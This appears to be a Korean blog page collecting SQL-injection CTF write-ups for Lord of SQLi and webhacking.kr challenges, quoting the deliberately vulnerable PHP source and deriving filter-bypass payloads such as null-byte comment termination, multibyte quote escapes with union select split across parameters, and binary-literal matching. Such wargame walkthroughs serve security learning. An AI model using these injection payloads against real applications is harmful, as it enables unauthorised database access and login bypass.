<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)|#|-/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(strlen($_GET[pw])>6) exit("No Hack ~_~"); 
  $query = "select id from prob_nightmare where pw=('{$_GET[pw]}') and id!='admin'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) solve("nightmare"); 
  highlight_file(__FILE__); 
?>

$_GET[pw] 필터
/prob
_
.
()
#
-

주석사용 금지이다. 게다가, $_GET[pw] 6글자 이하이여야 한다.

SELECT id FROM prob_nightmare WHERE pw=(' ') AND id!='admin';
이번에는 id가 admin이면 안된다.



query : select id from prob_nightmare where pw=('')=('0') and id!='admin'

이러면 왜 안나오지? 솔직히 왜 안나오는지 모르겠다.
로컬에서 똑같이 환경 구축하고 해봤는데 결과는 잘나왔다.


다른 블로그 풀이를 본 결과, ;%00을 사용해 #, - 주석 필터를 우회할 수 있다고 한다.
?pw=')=0;%00 을 입력하면 된다고한다.
query : select id from users where pw=('')=0;') and id!='admin'
근데 잘 보면 내가 작성했던 풀이랑 결과는 똑같다.
pw=('')=0 는 다음과 같이 처리된다.
  1. pw=('') 를 먼저 수행한다. 결과는 당연 False
  1. 그후, False=0을 수행한다. 결과는 True 
따라서 위 수행 결과는 항상 참이 되어 모든 레코드가 출력된다. 또한, 주석으로 and id!='admin' 부분이 주석처리 되어 admin을 포함한 모든 레코드가 추출된다. 여기서 내가 작성한 풀이법이랑 다른점은 and id!='admin' 주석 처리 유무이다.
만약, 테이블에 admin 레코드 하나 밖에 없다면, 내가 작성한 풀이법은 어떠한 레코드가 추출되지 않을 것이다.
하지만 다른 블로그 풀이법대로 한다면, and id!='admin'이 주석돼 admin 레코드가 추출돼 풀 수 있던 것 같다.
뭔가, 빡침

'WEB Hacking > Lord of SQLi' 카테고리의 다른 글

[los] succubus  (0) 2018.09.17
[los] zombie_assassin  (0) 2018.09.17
[los] assassin  (0) 2018.09.17
[los] giant  (0) 2018.09.17
[los] bugbear  (0) 2018.09.17
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
 <html>
<head>
<title>Challenge 50</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
id : <input name=id value='guest'><br>
pw : <input name=pw value='guest'><br>
<input type=submit>&nbsp;&nbsp;&nbsp;<input type=reset>
</form>
<?
if(time()<1258110000exit();
?>
<!-- index.phps -->
 
<?
if($_GET[id] && $_GET[pw])
{
 
$_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr');
 
 
foreach($_GET as $ck)
{
if(eregi("from",$ck)) exit();
if(eregi("pw",$ck)) exit();
if(eregi("\(",$ck)) exit();
if(eregi("\)",$ck)) exit();
if(eregi(" ",$ck)) exit();
if(eregi("%",$ck)) exit();
if(eregi("=",$ck)) exit();
if(eregi(">",$ck)) exit();
if(eregi("<",$ck)) exit();
if(eregi("@",$ck)) exit();
}
 
 
if(eregi("union",$_GET[id])) exit();
 
$data=@mysql_fetch_array(mysql_query("select lv from members where id='$_GET[id]' and pw=md5('$_GET[pw]')"));
 
 
if($data)
{
if($data[0]=="1"echo("level : 1<br><br>");
if($data[0]=="2"echo("level : 2<br><br>");
 
if($data[0]=="3")
{
@solve();
}
 
 
if(!$data)
{
echo("Wrong");
}
 
}
 
?>
 
<br><br><br>
<center>Thanks to <a href=http://webhacking.kr/index.php?mode=information&id=hahah>hahah</a></center>
<br><br><br>
</body>
</html>
 
cs


mb_convert_encoding 함수는 문자 인코딩을 변환해준다.


mb_convert_encoding(string $str, string $to_encoing, $from_encoding);


ex)

/* Convert EUC-JP to UTF-7 */

$str = mb_convert_encoding($str, "UTF-7", "EUC-JP");


$_GET[id] 값에 인코딩을 euc-kr -> utf-8로 변환한다.

그후 GET 메소드로 전달받은 값을 필터한다.


# 필터 문자


from

pw

(

)

공백

%

=

>

<

@


추가로 $_GET[id]에 union이 오면 필터.

SELECT lv from members WHERE id='$_GET[id]' and pw=md5('$_GET[pw]')

쿼리 결과 lv=1 이면 level : 1 출력, lv=2 이면 level : 2출력

lv=3 이면 solve() 함수가 호출된다.


쿼리 결과 레코드가 없거나 문법 오류가 발생하면 Wrong을 출력한다.


SELECT * FROM tb id='$_GET[id]' and pw='$_GET[pw]' 쿼리를 통해 lv=3 레코드를 추출하면된다.

mb_convert_encoding 함수 취약점을 이용해 우회가 가능하다.

2018/09/11 - [WEB Hacking/정리] - 멀티 바이트 언어셋 환경 :: addslashs(), magic_quotes_gpc 우회



?id=rap1er%aa%27or%0alv%0alike%0a3%23 // rap1er' or lv like 3#

select lv from members where id='rap1er' or lv like 3#' and pw=md5('$_GET[pw]')

처음에 위와 같이 입력하여 보냈는데 왜 안되지? 생각하다가 lv like 3 대신 레코드가 몇개인지 궁금했다.

1=1 limit 0,1# // level : 1 출력

1=1 limit 2,1# // level : 1 출력

1=1 limit 5,1# // level : 1 출력

????.... 뭔가 이상했다


1=1 order by 1 asc   // level : 1 출력

1=1 order by 1 desc // level : 1 출력

이번에는 order by 로 해봤다. 레코드는 1개인 것 같다...?

근데 레코드가 1개이면 limit 5,1이 어떻게되지?


어쨌든 데이터베이스에 lv=3 레코드가 없는 것을 확인했다. union을 통해 만들 수 있다.
id 파라미터에 union이 필터링 돼 있고 pw에는 없으니까 pw를 통해 만들어보자.


select lv from members where id='rap1er'/* and pw=md5(*/ union select 3#)

?id=rap1er%aa%27/*&pw=*/union%0aselect%0a3%23



union 관련된 걸 입력하는 문제는 다 문제있는 것 같다. 

Not Acceptable.......짜증나

















<html>

<head>

<title>Challenge 27</title>

</head>

<body>

<h1>SQL INJECTION</h1>

<form method=get action=index.php>

<input type=text name=no><input type=submit>

</form>

<?

if($_GET[no])

{


if(eregi("#|union|from|challenge|select|\(|\t|/|limit|=|0x",$_GET[no])) exit("no hack");


$q=@mysql_fetch_array(mysql_query("select id from challenge27_table where id='guest' and no=($_GET[no])")) or die("query error");


if($q[id]=="guest") echo("guest");

if($q[id]=="admin") @solve();


}


?>

<!-- index.phps -->

</body>

</html>

필터 문자

#

union

from

challenge

select

(

\t

\

limit

0x

=


[쿼리]

SELECT id FROM challenge27_table WHERE id='guest' and no=($_GET[no])




쿼리 결과 관리자 id가 나오도록 해야함.

no=100 or id="admin" 를 삽입하려 했지만

따옴표 사용 X // magic_quotes_gpc 적용

0x 사용 금지 // 필터처리

char() 함수 사용 // 괄호( 필터처리

like 사용 가능!

# 주석도 필터이기 때문에 -- 사용


따라서 아래와 같이 공백부분을 %0a로 채워준다.

no=100) or id like 0b0110000101100100011011010110100101101110 -- 


100%29%0aor%0aid%0alike%0a0b0110000101100100011011010110100101101110%20--%20


 주의할 점은 -- 주석이 여태 그냥 사용해도 문제없는 줄 알았지만

%20--%20 처럼 앞 뒤 공백으로 채워줘야함.

+ Recent posts